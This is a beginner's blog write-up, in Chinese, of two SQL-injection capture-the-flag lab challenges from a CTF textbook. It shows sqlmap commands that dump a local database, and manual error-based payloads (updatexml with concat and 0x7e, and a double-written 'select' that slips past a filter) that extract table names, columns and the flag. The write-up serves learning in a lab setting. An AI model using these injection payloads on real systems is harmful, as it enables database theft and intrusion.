从0到1 CFTer成长之路 1.2CTF中的SQL注入1、2

从0到1 CFTer成长之路

1.2 SQL注入

纯纯小白一枚,正在学习《从0到1 CFTer成长之路》这本书

第一部分打开题长这样

打开题目没多想,直接用了sqlmap工具

关于sqlmap的命令我参考的是此链接sqlmap参数大全|sqlmap命令详解 - 知乎

首先先查数据库

python3 sqlmap.py -u 127.0.0.1/index.php?id=1 --current-db

查询到数据库名为note

再根据数据库名note查询到表名

python3 sqlmap.py -u 127.0.0.1/index.php?id=1 --tables -D note

查询到表名fl4g和notes

接着根据查询到的表查询列名

python3 sqlmap.py -u 127.0.0.1/index.php?id=1 --columns -D note -T fl4g

然后再根据列名fllllag查找列中的字段

python3 sqlmap.py -u 127.0.0.1/index.php?id=1 -D note -T fl4g -C fllllag –dump

成功得到flag n1book{union_select_is_so_cool}

第二部分 题目长这样

还是用sqlmap 我真的觉得sqlmap真好用,简直无脑用sqlmap,但刚开始也是出现了下面的错误,当我抓包保存文件用sqlmap跑的时候,显示没有http请求,不知道为什么,网上查了之后说是目标url没有参数,没跟数据库进行交互sqlmap就探测不了

我也不知道加什么参数,然后查看源码,发现源码给了提示,于是抓包发送到repeater,然后添加tips=1参数,再保存为文件,这回使用sqlmap就很顺利了

过程和第一题一样,这里就不写了,这是最后拿到flag

不甘心于只会sqlmap,于是还是想要试试常规解法…但是很惭愧,自己没做出来,看了网上好多其他大神的做法,还是好不容易弄懂的……发现自己对sql语句真的太生僻了所以才做不出来,都弄懂了之后自己做了一遍,下面是过程

还是抓包发送到repeater,增加参数?tips=1 发现尝试1用户登录和admin用户登录出现的错误提示是不一样的,于是发现admin绝对是个正确存在的用户

但是后面发现用户名正确与否也没什么影响,好像是个不咋有用的发现….

J接着就是尝试获取数据库名,updatexml函数,还有那个在concat函数里为什么要加一个ox7e我刚开始真不理解,一顿网上查,翻好多帖子都没能让我这个笨蛋理解,好久好久才找到让我理解的帖子,把这句话讲的明明白白,感谢作者大大!链接在下面SQL字符型注入(get)-利用updatexml函数-报错注入 - 知乎

我理解的就是updatexml这个函数,第二位必须是XPath_string路径,如果不是,就会输出第二个参数里的语句,至于第一个第三个参数是啥也无所谓了

0x7e这个东西,它是 ~ 的16进制,用来校验,我理解的就是会筛出什么信息,加上0x7e才能显示出来,不加真的显示不出来咦,看了原帖子中的例子会更明白,concat更清晰就是连接~和database()呗,于是得到了数据库名note

然后就是根据数据库名去爆表名,刚开始使用select这句话老出现语法错误,尝试变成双写就识别了,密码是什么也无所谓了因为#已经注释掉后面的pass了

name=admin'and updatexml(0,concat(0x7e,(selselectect(group_concat(table_name)) from information_schema.tables where table_schema='note')),1)#&pass=233

emmm…我对sql语句真的了解太少了group_concat、table_name、information_schema、table_schema这些也是现学的…就根据这个链接学的,也是一下子就理解了,感谢作者大大!

详解union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘ ‘--+_头顶蜘蛛网,脚踩大水缸的博客-CSDN博客

所以东西都理解了,接下来就很顺利了,就是同理可得

name=admin'and updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))from

information_schema.tables where table_schema=database())),1)#&pass=233,得到表名fl4g和users

name=admin'and updatexml(1,concat(0x7e,(selselectect(group_concat(column_name))from information_schema.columns where table_name='fl4g')),1)#&pass=233

得到列名flag

最后name=admin'and     updatexml(1,concat(0x7e,(selselectect(flag)from fl4g)),0)#&pass=233,得到了本题flag

总结来说,第二道题我真的没做出来,是看网上做法然后一点点理解的,发现自己欠缺的真是太多太多太多了……我都不知道该怎么补,有没有大佬指点一下o(╥﹏╥)o

文章应该没有什么侵权的地方吧o(╥﹏╥)o 有的话请联系我,我肯定态度积极立马改正!

文章有不对的地方,欢迎各位大佬批判指正!

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值